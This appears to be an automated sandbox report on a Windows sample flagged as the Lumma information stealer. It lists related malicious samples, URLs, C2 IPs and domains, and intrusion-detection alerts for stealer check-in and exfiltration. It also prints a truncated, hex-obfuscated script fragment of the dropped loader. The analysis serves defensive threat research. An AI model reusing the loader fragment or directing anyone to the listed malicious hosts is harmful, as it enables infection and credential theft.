Start date and time:	2024-12-21 19:20:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowscmdlinecookbook.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.win@26/9@6/7
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 89% Number of executed functions: 138 Number of non-executed functions: 56

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.165.195, 142.250.217.206, 142.251.107.84, 142.251.35.238, 172.217.15.206, 142.250.217.238, 192.178.50.46
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Execution Graph export aborted for target mshta.exe, PID 3068 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7292 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:23:01	API Interceptor	55x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://gogvo.com/redir.php?url=https://atratejarat.com/wp-content/red/DhmgvV	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse
	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse
	https://logistics.sheincorp.cn/#/login	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	Get hash	malicious	Unknown	Browse
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse
104.21.44.253	Order Purchase List.exe	Get hash	malicious	FormBook	Browse	www.hottorchlighter.com/gnui/?D81Ltve=cDQQZHb5+agf8NQlScjGsSnQujRDxgY7AdRX5ePPfv8dvEhK3bFAIhRBnhIsPLeiQwdj&v0=mjfD3V_
172.67.184.254	https://protect-us.mimecast.com/s/-B0VC4xq3JiBXWWVfNGpvG	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
klippetamea8.shop	https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk	Get hash	malicious	Unknown	Browse	104.21.92.22

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.164.25
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.18.185
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.164.25
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.18.185
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.164.25
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.18.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	172.67.201.143
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	172.67.201.143
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.201.143
	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	172.67.201.143
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.201.143
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.201.143
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	172.67.201.143
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	172.67.201.143
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse	172.67.201.143
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.201.143
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.44.253 172.67.184.254
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
	BigProject.exe	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
	jqplot.hta	Get hash	malicious	Unknown	Browse	104.21.44.253 172.67.184.254
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.44.253 172.67.184.254
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.201.143
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	172.67.201.143
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	172.67.201.143
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.201.143
	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.201.143
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.201.143
	jqplot.hta	Get hash	malicious	Unknown	Browse	172.67.201.143
	Set-up!.exe	Get hash	malicious	LummaC	Browse	172.67.201.143
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.201.143
	Oggq2dY6kx.exe	Get hash	malicious	Azorult	Browse	172.67.201.143

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	537096
Entropy (8bit):	6.144478549534115
Encrypted:	false
SSDEEP:	6144:STqUnHtfxded6JPje7sepeIeu39D5HepxekV9IdeZ8ye6IexLT:S/nHd
MD5:	CE7AA8E9E4E4B562FF54D31F64A65B56
SHA1:	175499A184EC22CAE1F4E1F5ED2ACD57E2C261FD
SHA-256:	9E3B0BA2F842C94308FE713CE02DD30F59DC79EDAE447BC2E495B38258E86AE7
SHA-512:	51F0016168271873CF5B764111C6C46B724FB5AC5D844C7838D2C7571550C8015D7DF5A998F195E0A5F7BC7E765E492D25D83BD903AC5E0D5534516CB3B40861
Malicious:	false
Preview:	66v75c6eT63G74H69T6fj6eP20L6aX78k79X51v6aL74Z28E68O68E56c57v53w29R7bE76u61V72B20e67g61Q66j51q6aB71P3dO20k27x27L3bJ66b6fW72m20s28O76i61v72K20l57K49w61N47z66D20l3dY20i30d3bY57Z49l61G47p66D20y3cb20h68i68H56h57b53b2es6cE65d6eG67J74E68D3bV20z57K49P61U47j66D2bk2bn29Q7br76g61H72Z20m4fY48U4fh55i65t20n3dB20M53D74E72i69V6eU67v2ea66f72O6fd6da43D68a61a72r43V6fU64v65r28u68S68Q56A57U53B5bG57f49I61Y47b66K5dP20T2dm20G38K38l31O29i3bo67M61k66c51C6ag71W20M3dx20d67M61O66x51v6aH71u20n2bD20O4fT48O4fP55R65G7dn72T65K74j75n72T6eg20j67G61N66C51h6ah71n7dy3bn76f61u72h20f67M61M66N51T6aM71s20T3dH20W6au78T79Y51u6ad74o28j5bV39n39Y33e2cw39c39I32j2ct31a30M30z30F2ca39o38U32i2cm39u39a35G2cq39X39v36A2cZ39M38L35u2cd39m38D32y2cP39S38r39V2cD39i38j39E2cd39a32l37g2cT39B38v32G2cz31q30I30j31N2cd39e38Q32d2cd39X31Q33w2cp39P32n36I2cB31p30I30w30y2ce39E31K33W2cc39Q33l30P2cg39X31Q33F2cu39n32d36U2ck39m38n32b2cs39Z39K33T2cH39n31L33x2cX39S36L36n2cK39B39L31E2cZ39r39A35O2ce39N38x32A2cz39r39v36b2cK39o39Q37D2cV39U39F35E2ct39q38O36p2cE39n38r3

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o5mepxzz.l2b.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ovmfxnhv.kwp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rd5xyg20.vb4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uciw3b0c.0wb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Chrome Cache Entry: 51

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3048)
Category:	downloaded
Size (bytes):	3053
Entropy (8bit):	5.851484902293085
Encrypted:	false
SSDEEP:	48:ht0vZYmAqKlgJXwOEIbx6666VuHnxEF4+yKdtYkGcnwHfZ7SrvVMGqJ3uO7FGl5K:QvZsZlZIN6666Vwnx672kTnYfsLpq8OJ
MD5:	6F0390045ACB4741D566B998FB939AEC
SHA1:	8CC660DA3C4E9DEEFDA4DB2DB269266BD9F41ED7
SHA-256:	4EC7B1B83170ED8E9E5FCDA790EB6F4FEC0F1F8755C8A48F143DB87806A90055
SHA-512:	7B9C684751CA08862F22CB9C2CD687AE547A715EFB943735B5C559CA7C60D4BD91A8C7D2E7417E12118ED99D8D311ABACF038B2CADF4DECB7DF9ACB9378E9116
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["college football playoff bracket","sza lana sos deluxe vinyl","nuna baby essentials car seat recall","interstate 40","monopoly go greeting journey rewards","dallas cowboys","virginia laws","atlanta braves trade rumors"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQoRVHJlbmRpbmcgc2VhcmNoZXMoCg\u003d\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wMjg5NhINRm9vdGJhbGwgdGVhbTLnC2RhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJBQUFEQVFBREFRQUFBQUFBQUFBQUFBQURCQVVHQUFFQ0IvL0VBQzBRQUFJQkF3TUNCUU1FQXdBQUFBQUFBQUVDQXdBRUVRVVNJUk14QmlOQlVXRWlNbkVVTTBLUkZYS

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-21T19:24:25.594497+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49744	104.21.44.253	443	TCP
2024-12-21T19:24:26.605288+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.11.20	49744	104.21.44.253	443	TCP
2024-12-21T19:24:26.605288+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49744	104.21.44.253	443	TCP
2024-12-21T19:24:26.886990+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49745	104.21.44.253	443	TCP
2024-12-21T19:24:27.594763+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.11.20	49745	104.21.44.253	443	TCP
2024-12-21T19:24:27.594763+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49745	104.21.44.253	443	TCP
2024-12-21T19:24:36.382114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49758	104.21.44.253	443	TCP
2024-12-21T19:24:37.543380+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49759	104.21.44.253	443	TCP
2024-12-21T19:24:38.578939+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49760	104.21.44.253	443	TCP
2024-12-21T19:24:39.637649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49761	104.21.44.253	443	TCP
2024-12-21T19:24:40.896470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49762	104.21.44.253	443	TCP
2024-12-21T19:24:41.560822+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.11.20	49762	104.21.44.253	443	TCP
2024-12-21T19:24:41.838454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49763	104.21.44.253	443	TCP
2024-12-21T19:24:43.162159+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49764	104.21.44.253	443	TCP
2024-12-21T19:24:43.166602+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.11.20	49764	104.21.44.253	443	TCP
2024-12-21T19:24:47.122449+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49765	104.21.44.253	443	TCP
2024-12-21T19:24:47.825271+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.11.20	49765	104.21.44.253	443	TCP
2024-12-21T19:24:48.238888+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49766	172.67.184.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 19:22:59.345038891 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:22:59.345062017 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:22:59.345361948 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:22:59.360661983 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:22:59.360714912 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:22:59.654984951 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:22:59.655375957 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:22:59.687151909 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:22:59.687206030 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:22:59.688049078 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:22:59.689044952 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:22:59.690818071 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:22:59.734282017 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.125200033 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.125439882 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.125463963 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.125689983 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.125782967 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.126017094 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.126091957 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.126339912 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.126363039 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.126517057 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.126564026 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.126576900 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.126725912 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.126740932 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.126888037 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.126952887 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.126979113 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.127089977 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.127171993 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.127346039 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.127425909 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.127528906 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.127552986 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.127587080 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.127707005 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.127707005 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.127904892 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.128002882 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.128110886 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.128137112 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.128199100 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.128372908 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.128381968 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.128401041 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.128556013 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.128556013 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.129107952 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.129292965 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.129348040 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.129554033 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.129578114 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.129617929 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.129725933 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.129739046 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.129750967 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.129883051 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.129892111 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.129915953 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.130022049 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130022049 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130065918 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130076885 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.130217075 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130614042 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.130732059 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.130785942 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.130789042 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130800009 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.130875111 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130923986 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130923986 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.130934000 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.131083012 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.131356955 CET	443	49742	172.67.201.143	192.168.11.20
